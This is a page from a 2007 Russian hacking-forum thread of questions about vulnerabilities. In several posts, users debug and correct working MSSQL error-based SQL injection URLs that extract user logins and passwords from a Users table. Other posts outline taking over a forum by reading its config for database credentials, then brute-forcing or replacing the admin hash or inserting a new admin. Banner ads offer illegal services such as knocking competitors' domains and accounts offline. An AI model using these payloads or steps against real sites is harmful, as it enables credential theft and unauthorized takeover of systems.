Ваши вопросы по уязвимостям.

ВЫЕЗД ИЗ УКРАИНЫ • ОФОРМЛЕНИЕ ДОКУМЕНТОВ • БРОНИРОВАНИЕ • ПОМОЩЬ С ТЦК

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 35 из 2438

Опции темы

Поиск в этой теме

Опции просмотра

#341

25.11.2007, 13:49

fervex

Новичок

Регистрация: 12.11.2007

Сообщений: 25

С нами: 9734371

Репутация: 3

Цитата:

Сообщение от ShAnKaR

в mysql по секурным соображениям нельзя так, вобщем выше написано.

что, UPDATE никак не получится корректно поставить в запрос? А где "выше написано"?

#342

25.11.2007, 13:55

0nep@t0p

Участник форума

Регистрация: 25.05.2007

Сообщений: 147

С нами: 9981026

Репутация: 728

Цитата:

что, UPDATE никак не получится корректно поставить в запрос?

Не в этом дело, в mysql через инъекцию изменять информацию в БД нельзя

#343

26.11.2007, 00:48

delay(0)

Участник форума

Регистрация: 22.11.2006

Сообщений: 117

С нами: 10246130

Репутация: 141

Код:

.asp?id=1+or+1=(SELECT+TOP+1+cast(UserLogin+as+nvarchar)%2B%27%3A%27%2Bcast(UserPassword+as+nvarchar)+from+Users)-

получаю

Цитата:

Microsoft OLE DB Provider for SQL Server error '80040e21'

Line 1: Incorrect syntax near 'cast'.

Что не так?

#344

26.11.2007, 01:25

+toxa+

[Лишённый самовыражени

Регистрация: 16.01.2005

Сообщений: 1,787

С нами: 11217866

Репутация: 3812

Отправить сообщение для +toxa+ с помощью AIM

Цитата:

Сообщение от fervex

что, UPDATE никак не получится корректно поставить в запрос? А где "выше написано"?

не получится ибо в подзапросах тока select и после union тоже тока select

Цитата:

Сообщение от 0nep@t0p

Не в этом дело, в mysql через инъекцию изменять информацию в БД нельзя

если инъекция в update, то мона, но это зависит от конкретных условий. Если всё удачно, то мона и файлы читать, и выводить всё чё те надо.

__________________

#345

26.11.2007, 01:42

Scipio

Members of Antichat - Level 5

Регистрация: 02.11.2006

Сообщений: 781

С нами: 10274726

Репутация: 1917

Цитата:

Сообщение от delay(0)

Код:

.asp?id=1+or+1=(SELECT+TOP+1+cast(UserLogin+as+nvarchar)%2B%27%3A%27%2Bcast(UserPassword+as+nvarchar)+from+Users)-

получаю

Что не так?

Код:

asp?id=1+or+1=(SELECT+TOP+1+cast(UserLogin+as+nvarchar)+':'+cast(UserPassword+as+nvarchar)+from+Users)--

непонял я для чего ты cast использовал, мож там кавычки %27 фильтруются, да и вобще, нах cast то надо?
если захотел как суперхеккер сделать то можно весь подзапрос в каст взять, но думаю это не обязательно в твоем случае

__________________
Карфаген должен быть разрушен...

Последний раз редактировалось Scipio; 26.11.2007 в 14:04..

#346

26.11.2007, 11:03

delay(0)

Участник форума

Регистрация: 22.11.2006

Сообщений: 117

С нами: 10246130

Репутация: 141

Цитата:

если захотел как суперхеккер сделать

Я делал как дядя Cash прописал в своей статье.... Покажи тогда пример запроса.

#347

26.11.2007, 11:26

xaker-boss

Участник форума

Регистрация: 06.03.2007

Сообщений: 283

С нами: 10096166

Репутация: 120

#348

26.11.2007, 11:36

ENFIX

Участник форума

Регистрация: 06.06.2006

Сообщений: 213

С нами: 10488959

Репутация: 474

смотришь когфиг, там пасс, юзер и адрес от БД.
Заходишь в эту бд. Смотришь таблтцу с юзверями
Ищешь админа - брутишь хэш.
Меньше мороки - просто меняешь хэш
А лучше - вставить новую запись

#349

26.11.2007, 11:40

Spyder

Members of Antichat - Level 5

Регистрация: 09.10.2006

Сообщений: 1,698

С нами: 10309346

Репутация: 4303

ищи конфиг форума, там будет логин и пасс от СУБД, конектишься с этим пасом к базе и ищешь таблицу с юзерами

__________________
God forgive me for I have sinned
It’s been six months since my last confession
There is nowhere that I can run to
My soul I place in your hands

#350

26.11.2007, 13:16

Scipio

Members of Antichat - Level 5

Регистрация: 02.11.2006

Сообщений: 781

С нами: 10274726

Репутация: 1917

Цитата:

Сообщение от delay(0)

Я делал как дядя Cash прописал в своей статье.... Покажи тогда пример запроса.

Код:

asp?id=1+or+1=(SELECT+TOP+1+UserLogin%2bCHAR(58)%2bUserPassword+from+Users)--

ну как то так

__________________
Карфаген должен быть разрушен...

Страница 35 из 2438

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход